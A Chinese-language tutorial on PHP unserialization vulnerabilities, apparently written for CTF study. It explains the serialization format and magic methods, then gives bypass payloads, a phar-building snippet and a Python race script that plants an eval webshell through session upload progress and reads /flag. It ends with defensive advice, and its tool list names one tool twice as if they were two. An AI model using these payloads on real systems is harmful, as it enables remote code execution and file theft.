PHP 反序列化基础完全解析
字数 2848 2025-08-22 22:47:39
PHP反序列化完全解析与利用指南
一、PHP序列化基础
1. 序列化格式解析
PHP序列化后的字符串由分号(;)分隔,使用大括号({})表示层级关系。主要数据类型表示如下:
| 数据类型 | 提示符 | 格式示例 |
|---|---|---|
| 字符串 | s | s:长度:"内容" |
| 已转义字符串 | S | S:长度:"转义后的内容" |
| 整数 | i | i:数值 |
| 布尔值 | b | b:1(true)/b:0(false) |
| 空值 | N | N; |
| 数组 | a | a:大小:{键序列段;值序列段} |
| 对象 | O | O:类名长度:"类名":属性数:{...} |
| 引用 | R | R:引用序号(从1开始) |
2. 对象序列化示例
class Kengwang {
public $name = "kengwang";
public $age = 18;
public $sex = true;
public $route = LearningRoute::Web;
public $tag = array("dino", "cdut", "chengdu");
public $girlFriend = null;
private $pants = "red";
}
enum LearningRoute {
case Web;
case Pwn;
case Misc;
}
$kw = new Kengwang();
print_r(serialize($kw));
序列化结果:
O:8:"Kengwang":7:{
s:4:"name";s:8:"kengwang";
s:3:"age";i:18;
s:3:"sex";b:1;
s:5:"route";E:17:"LearningRoute:Web";
s:3:"tag";a:3:{i:0;s:4:"dino";i:1;s:4:"cdut";i:2;s:7:"chengdu";}
s:10:"girlFriend";N;
s:15:"\x00Kengwang\x00pants";s:3:"red";
}
3. 非公有字段命名规则
- private字段:
\x00类名\x00字段名 - protected字段:
\x00*\x00字段名
二、魔术方法与执行顺序
1. 关键魔术方法
| 方法名 | 触发时机 |
|---|---|
__construct |
对象实例化时调用 |
__destruct |
对象销毁时调用 |
__wakeup |
对象反序列化时调用 |
__sleep |
对象序列化时调用 |
__toString |
对象被当作字符串使用时调用 |
__get |
读取不可访问或不存在的属性时调用 |
__set |
给不可访问或不存在的属性赋值时调用 |
__invoke |
对象被当作函数调用时使用 |
__call |
调用不可访问的方法时调用 |
__isset |
对不可访问属性调用isset()或empty()时调用 |
__unset |
对不可访问属性调用unset()时调用 |
__debugInfo |
使用var_dump()或print_r()时调用 |
2. 魔术方法执行顺序
- 序列化时:
__sleep→ (变量存在) →__destruct - 反序列化时:
__wakeup/__construct→ (变量存在) →__destruct
三、反序列化绕过技巧
1. 非公有字段绕过(PHP7.1+)
- 方法1:直接修改字段为public
- 方法2:修改序列化字符串中的字段名为公有格式
2. __wakeup绕过(CVE-2016-7124)
条件:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
方法:修改对象属性数量为大于实际数量
示例:
O:4:"Dino":1:{s:4:"addr";s:3:"209";}
改为
O:4:"Dino":114514:{s:4:"addr";s:3:"209";}
3. 十六进制绕过字符匹配
使用十六进制表示字符串内容绕过关键字检测:
// 原始
O:4:"Read":1:{s:4:"name";s:4:"flag";}
// 绕过
O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";} // \66\6c\61\67 = "flag"
4. 引用利用
使两个变量始终相等:
class A {
public $a;
public $b;
}
$a = new A();
$a->a = &$a->b;
echo serialize($a);
// 输出:O:1:"A":2:{s:1:"a";N;s:1:"b";R:2;}
5. 对象反序列化正则绕过
- 在数字前添加
+号:O:+4:"Test":1:{...} - 将对象嵌套在数组等类型中
6. 字符逃逸
字符增加情况
class Book {
public $id = 114514;
public $name = "Kengwang 的学习笔记"; // 可控
public $path = "Kengwang 的学习笔记.md";
}
function filter($str) {
return str_replace("'", "\\'", $str); // 每个'变成\'
}
// 构造恶意字符串
$payload = str_repeat("'", 41) . '";s:4:"path";s:4:"flag";}s:4:"fake";s:34:';
字符减少情况
function filter($str) {
return str_replace("'", "", $str); // 删除所有'
}
// 构造
$book->name = "Kengwang Note'"; // 提供足够多的'来"吃掉"后续字符
$book->description = ";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";
7. 不完整类利用
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true
8. Fast Destruct(提前GC回收)
方法:
- 改变序列化的元素数字个数(往小的写)
- 删掉最后一个
}
四、原生类利用
1. 常用原生类
// 获取所有有魔术方法的原生类
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array('__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state'))) {
echo $class . '::' . $method . "\n";
}
}
}
2. 重点原生类利用
SoapClient
- 进行HTTP/HTTPS请求
- 控制参数:
location:请求地址uri:注入换行到SOAPAction头useragent:覆盖Content-Type
Exception/Error类
- 利用
__toString进行XSS或绕过哈希比较
文件操作类
- ZipArchive:使用
OVERWRITE(8)模式删除文件 - SQLite3:创建本地数据库文件
- DirectoryIterator/FilesystemIterator:列出文件
- SplFileObject:读取文件第一行
其他
- SimpleXMLElement:结合XXE实现文件读取
- Reflection系列:获取类/函数代码信息
五、Phar反序列化
1. 基本利用
- 创建恶意phar文件:
class D1no {}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new D1no();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
- 通过文件操作触发:
file_get_contents('phar://test.phar/test');
2. 绕过技巧
- 使用其他协议包装:
compress.bzip://phar://test.pharphp://filter/resource=phar://test.phar
- 对phar文件进行gzip压缩
六、SESSION反序列化漏洞
1. 利用条件
- 可进行任意文件包含(或允许包含session存储文件)
- 知道session文件存放路径
- 有读写session文件的权限
2. 利用方法
方法1:session.upload_progress
import io
import requests
import threading
sessid = 'KW'
data = {"cmd": "system('cat /flag');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post('http://target/test.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('KW.txt', f)},
cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post('http://target/test.php?file=session/sess_' + sessid, data=data)
if 'flag' in resp.text:
print(resp.text)
event.clear()
break
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
方法2:处理器差异利用
php_serialize处理器:存储为序列化数组php处理器:格式为键名|序列化数据
利用:
- 用
php_serialize存储包含|的payload - 用
php处理器解析时,|会被当作分隔符,触发反序列化
七、工具推荐
- phpggc:常见反序列化链生成工具
- PHPGGC:另一个反序列化利用链生成工具
八、防御建议
- 避免反序列化用户输入
- 使用
hash_equals进行哈希比较 - 及时更新PHP版本
- 对
__wakeup和__destruct方法进行安全检查 - 限制危险原生类的使用